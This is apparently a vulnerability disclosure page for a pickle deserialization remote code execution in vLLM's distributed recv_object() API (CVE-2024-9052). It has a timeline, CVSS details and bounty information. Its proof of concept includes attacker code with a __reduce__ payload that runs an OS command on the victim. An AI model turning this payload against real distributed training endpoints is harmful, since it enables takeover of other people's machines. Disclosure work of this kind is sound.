

Remote Code Execution by Pickle Deserialization via `recv_object()` distributed training API in [vllm-project/vllm](#)

✓ Valid

Reported on Sep 7th 2024

Description

`vllm` inherits pytorch's `torch.distributed` methodologies that support the distributed training over different cpu/gpu resources over networks (i.e. by `distributed_init_method="tcp://ip:port"`). Among the many functionalities in the distributed training, I found the function

`vllm.distributed.GroupCoordinator.recv_object()` applies a `pickle.loads()` to deserialize the received object's bytes without any sanitization, hence resulting in a remote code execution vulnerability by this function.

Proof of Concept

Step 1:

the victim user runs the following Python codes to start the distributed training and listens at its network interface `tcp://0.0.0.0:29500` (in my example, the real IP of the victim machine is `192.168.3.153`):

```
from vllm.distributed import (ensure_model_parallel_initialized,
                             init_distributed_environment, get_world_group)
import vllm

init_distributed_environment(backend="gloo", distributed_init_method="tcp://0.0.0.0:29500")
vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)
```

Step 2:

the attacker runs the following Python codes to execute malicious commands by joining the same group of the distributed training via the remote training address `tcp://192.168.3.153:29500` (here I use `touch /tmp/hacked` for demonstration):

```
from vllm.distributed import (ensure_model_parallel_initialized,
                             init_distributed_environment, get_world_group)
import vllm

class payload:
```

```
def __reduce__(self):  
    return (__import__('os').system, ("touch /tmp/hacked",))
```

```
init_distributed_environment(backend="gloo", distributed_init_method="tcp://192.168  
vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst
```

then we can see the file /tmp/hacked can be illegally created in the victim's machine.

Impact

Remote code execution in the victim's machine.

Occurrences

 parallel_state.py L480

sanitize `object_tensor` before `pickle.loads` it

 We are processing your report and will contact the **vllm-project/vllm** team within 24 hours. a year ago

 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists a year ago



 **Ethan Silvas** validated this vulnerability a year ago

Able to reproduce this and seems very familiar to the paddle RPC RCE, great find.

 **zpbrent** has been awarded the disclosure bounty 

 The fix bounty is now up for grabs

 The researcher's credibility has increased: +7

 **CVE-2024-9052** assigned to this report. a year ago

 We have notified the **vllm-project/vllm** maintainers about this report in their weekly follow-up a year ago

 We have sent a warning to the **vllm-project/vllm** team to inform them that this report will be published in 48 hours a year ago

 This vulnerability has now been published a year ago

 **CVE-2024-9052** has now been published 10 months ago

CVE
CVE-2024-9052
Rejected

Vulnerability Type
CWE-502: Deserialization of Untrusted Data

Severity
Critical (9.8)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

[Open in visual CVSS calculator](#)

Registry
Pypi

Affected Version
0.6.0

Visibility
Public

Status
Awaiting fix

Disclosure Bounty
\$1500

Fix Bounty
\$375

Found by



Peng Zhou

@zpbrent

LIGHTWEIGHT





© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)